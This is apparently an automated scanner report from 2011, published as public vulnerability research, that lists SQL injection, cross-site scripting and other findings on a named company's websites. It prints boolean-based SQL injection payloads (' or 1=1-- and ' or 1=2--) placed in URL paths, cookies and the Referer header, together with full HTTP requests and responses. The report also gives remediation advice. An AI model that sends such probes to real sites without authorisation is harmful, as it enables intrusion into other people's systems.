XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, dominionenterprises

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Mon May 09 07:54:59 CDT 2011.


Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search
Loading

1. SQL injection

1.1. http://www.dominionenterprises.com/main/do/Advertiser_Agreement [REST URL parameter 3]

1.2. http://www.dominionenterprises.com/main/do/Advertiser_Agreement [s_sq cookie]

1.3. http://www.dominionenterprises.com/main/do/Careers [REST URL parameter 3]

1.4. http://www.dominionenterprises.com/main/do/Careers [Referer HTTP header]

1.5. http://www.dominionenterprises.com/main/do/Careers [s_cc cookie]

1.6. http://www.dominionenterprises.com/main/do/For_Businesses [REST URL parameter 3]

1.7. http://www.dominionenterprises.com/main/do/businesses/id/13/category/For%20Businesses [REST URL parameter 3]

2. LDAP injection

3. Cross-site scripting (reflected)

3.1. http://www.dhmiservices.com/ClickContact/js.ashx [img parameter]

3.2. http://www.dhmiservices.com/ImageHandler.ashx [img_id parameter]

3.3. http://www.dominionenterprises.com/main/do/businesses/id/13/category/For%20Businesses [REST URL parameter 7]

3.4. http://www.dominionenterprises.com/main/do/businesses/id/13/category/For%20Businesses [REST URL parameter 7]

4. Cookie without HttpOnly flag set

4.1. http://www.dominionenterprises.com/main/do/Advertiser_Agreement

4.2. http://www.dominionenterprises.com/main/do/Careers

4.3. http://www.dhmiservices.com/ClickContact/js.ashx

4.4. http://www.dhmiservices.com/ImageHandler.ashx

4.5. http://www.dhmiservices.com/favicon.ico

5. ASP.NET debugging enabled

6. Email addresses disclosed

6.1. http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js

6.2. http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js

6.3. http://www.dominionenterprises.com/site/scripts/s_code.js

7. Content type incorrectly stated

7.1. http://www.dhmiservices.com/ClickContact/js.ashx

7.2. http://www.dominionenterprises.com/site/scripts/qm_slide_effect.js



1. SQL injection  next
There are 7 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://www.dominionenterprises.com/main/do/Advertiser_Agreement [REST URL parameter 3]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.dominionenterprises.com
Path:   /main/do/Advertiser_Agreement

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 35525155'%20or%201%3d1--%20 and 35525155'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /main/do/Advertiser_Agreement35525155'%20or%201%3d1--%20 HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725151554; s_lv=1304725151555; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response 1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:37:23 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=bdf614ab3757af735415e00061963d45; expires=Sun, 08 May 2011 19:37:23 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:37:23 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 32708

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Home</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Home">
   <meta name="keywords" content="Home">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">

<script language="javascript" type="text/javascript">
var IsIPad = false;
function QueryStringIsRequestFromMobile(DirectToFullSite) {
Queries = window.location.search.substring(1);
if (Queries == "" || Queries == null) {
return false;
}
else {
QueryArray = Queries.split("&");
for (i = 0; i < QueryArray.length; i++) {
QueryValue = QueryArray[i].split("=");
if (QueryValue[0] == DirectToFullSite) {
if (QueryValue[1] == "fs24lmj09")
return true;
else
return false;
}
else
return false;
}
}
}
function IsMobileRedirection() {
var agent = navigator.userAgent.toLowerCase();
var IsMobile = false;
if ((agent.indexOf('absinthe') != -1) ||
(agent.indexOf('albacore') !
...[SNIP]...

Request 2

GET /main/do/Advertiser_Agreement35525155'%20or%201%3d2--%20 HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725151554; s_lv=1304725151555; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response 2

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:37:23 GMT
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=e7b89d9d22ee322e26c928d489ab60ae; expires=Sun, 08 May 2011 19:37:23 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:37:23 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Length: 0
Content-Type: text/html
Set-Cookie: TSa27990=17226455681a23b43340e174788d7a47cf55f197b0915ed34dc443f49c5eca853e60e59c; Path=/


1.2. http://www.dominionenterprises.com/main/do/Advertiser_Agreement [s_sq cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.dominionenterprises.com
Path:   /main/do/Advertiser_Agreement

Issue detail

The s_sq cookie appears to be vulnerable to SQL injection attacks. The payloads 64212002'%20or%201%3d1--%20 and 64212002'%20or%201%3d2--%20 were each submitted in the s_sq cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /main/do/Advertiser_Agreement HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725151554; s_lv=1304725151555; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D64212002'%20or%201%3d1--%20

Response 1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:57 GMT
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=dba9e76780dab5082f6ad3b40d81f7c9; expires=Sun, 08 May 2011 19:35:57 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:35:57 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Set-Cookie: TSa27990=a6085532e0617f3f26069bb7f806dc6988fcd6e4d06ed9974dc443569c5eca85b77317fc; Path=/
Content-Length: 34603

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Advertising User Agreement</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Advertising User Agreement">
   <meta name="keywords" content="Advertising User Agreement">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/style.css" type="text/css">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/menu.css" type="text/css">
   
   <!-- calendar stylesheet -->
   <link rel="stylesheet" type="text/css" media="all" href="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar-blue.css" title="win2k-cold-1" />

       
   <!-- main calendar program -->
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js"></script>
<!-- language for the calendar -->
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js"></script>
<!-- the following script defines the Calendar.setup helper function,
...[SNIP]...

Request 2

GET /main/do/Advertiser_Agreement HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725151554; s_lv=1304725151555; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D64212002'%20or%201%3d2--%20

Response 2

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:57 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=6fbc3a6086880dcc38961944854f905d; expires=Sun, 08 May 2011 19:35:57 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:35:57 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 34603

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Advertising User Agreement</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Advertising User Agreement">
   <meta name="keywords" content="Advertising User Agreement">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/style.css" type="text/css">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/menu.css" type="text/css">
   
   <!-- calendar stylesheet -->
   <link rel="stylesheet" type="text/css" media="all" href="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar-blue.css" title="win2k-cold-1" />

       
   <!-- main calendar program -->
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js"></script>
<!-- language for the calendar -->
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js"></script>
<!-- the following script defines the Calendar.setup helper function, which makes adding a calendar a matter of 1 or 2 lines of code. -->
<script type="text/javascript
...[SNIP]...

1.3. http://www.dominionenterprises.com/main/do/Careers [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.dominionenterprises.com
Path:   /main/do/Careers

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 72254876'%20or%201%3d1--%20 and 72254876'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /main/do/Careers72254876'%20or%201%3d1--%20 HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response 1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:36:43 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=ad448786cf2b76ce54480dea55d64ae9; expires=Sun, 08 May 2011 19:36:43 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:36:43 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 32708

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Home</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Home">
   <meta name="keywords" content="Home">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">

<script language="javascript" type="text/javascript">
var IsIPad = false;
function QueryStringIsRequestFromMobile(DirectToFullSite) {
Queries = window.location.search.substring(1);
if (Queries == "" || Queries == null) {
return false;
}
else {
QueryArray = Queries.split("&");
for (i = 0; i < QueryArray.length; i++) {
QueryValue = QueryArray[i].split("=");
if (QueryValue[0] == DirectToFullSite) {
if (QueryValue[1] == "fs24lmj09")
return true;
else
return false;
}
else
return false;
}
}
}
function IsMobileRedirection() {
var agent = navigator.userAgent.toLowerCase();
var IsMobile = false;
if ((agent.indexOf('absinthe') != -1) ||
(agent.indexOf('albacore') !
...[SNIP]...

Request 2

GET /main/do/Careers72254876'%20or%201%3d2--%20 HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response 2

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:36:43 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=7498864a68df42f076f73d37ca5f499f; expires=Sun, 08 May 2011 19:36:43 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:36:43 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Length: 0
Content-Type: text/html


1.4. http://www.dominionenterprises.com/main/do/Careers [Referer HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.dominionenterprises.com
Path:   /main/do/Careers

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payloads 12491798'%20or%201%3d1--%20 and 12491798'%20or%201%3d2--%20 were each submitted in the Referer HTTP header. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /main/do/Careers HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=12491798'%20or%201%3d1--%20
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response 1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:29 GMT
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=50020d3c5d5f588a1b914a2e77bc27a7; expires=Sun, 08 May 2011 19:35:29 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:35:29 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Set-Cookie: TSa27990=46792d7b37bb084f60dc2f6e1f256825516b4aa4839835dd4dc443829c5eca85df506b6d; Path=/
Content-Length: 19076

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Careers</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Careers">
   <meta name="keywords" content="Careers">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/style.css" type="text/css">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/menu.css" type="text/css">
   
   <!-- calendar stylesheet -->
   <link rel="stylesheet" type="text/css" media="all" href="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar-blue.css" title="win2k-cold-1" />

       
   <!-- main calendar program -->
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js"></script>
<!-- language for the calendar -->
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js"></script>
<!-- the following script defines the Calendar.setup helper function, which makes adding a calendar a matter of 1 or 2 lines o
...[SNIP]...

Request 2

GET /main/do/Careers HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=12491798'%20or%201%3d2--%20
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response 2

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:29 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=f73a685d8d2810e0713139115067fb17; expires=Sun, 08 May 2011 19:35:29 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:35:29 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 19076

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Careers</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Careers">
   <meta name="keywords" content="Careers">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/style.css" type="text/css">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/menu.css" type="text/css">
   
   <!-- calendar stylesheet -->
   <link rel="stylesheet" type="text/css" media="all" href="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar-blue.css" title="win2k-cold-1" />

       
   <!-- main calendar program -->
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js"></script>
<!-- language for the calendar -->
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js"></script>
<!-- the following script defines the Calendar.setup helper function, which makes adding a calendar a matter of 1 or 2 lines of code. -->
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/js
...[SNIP]...

1.5. http://www.dominionenterprises.com/main/do/Careers [s_cc cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.dominionenterprises.com
Path:   /main/do/Careers

Issue detail

The s_cc cookie appears to be vulnerable to SQL injection attacks. The payloads 62583083'%20or%201%3d1--%20 and 62583083'%20or%201%3d2--%20 were each submitted in the s_cc cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /main/do/Careers HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true62583083'%20or%201%3d1--%20; s_sq=%5B%5BB%5D%5D

Response 1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:07 GMT
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=e2553f7484cb2c7783f3a5c243d53604; expires=Sun, 08 May 2011 19:35:07 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:35:07 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Set-Cookie: TSa27990=1e404d829976e6f2f6bbfbc4ca9a68ff17a0fb93ea548b494dc443259c5eca85caf3474a; Path=/
Content-Length: 19076

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Careers</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Careers">
   <meta name="keywords" content="Careers">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/style.css" type="text/css">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/menu.css" type="text/css">
   
   <!-- calendar stylesheet -->
   <link rel="stylesheet" type="text/css" media="all" href="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar-blue.css" title="win2k-cold-1" />

       
   <!-- main calendar program -->
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js"></script>
<!-- language for the calendar -->
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js"></script>
<!-- the following script defines the Calendar.setup helper function, which makes adding a calendar a matter of 1 or 2 lines o
...[SNIP]...

Request 2

GET /main/do/Careers HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true62583083'%20or%201%3d2--%20; s_sq=%5B%5BB%5D%5D

Response 2

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:07 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=ecde5f56d9a309efc466b068f1ee9147; expires=Sun, 08 May 2011 19:35:07 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:35:07 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 19076

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Careers</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Careers">
   <meta name="keywords" content="Careers">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/style.css" type="text/css">
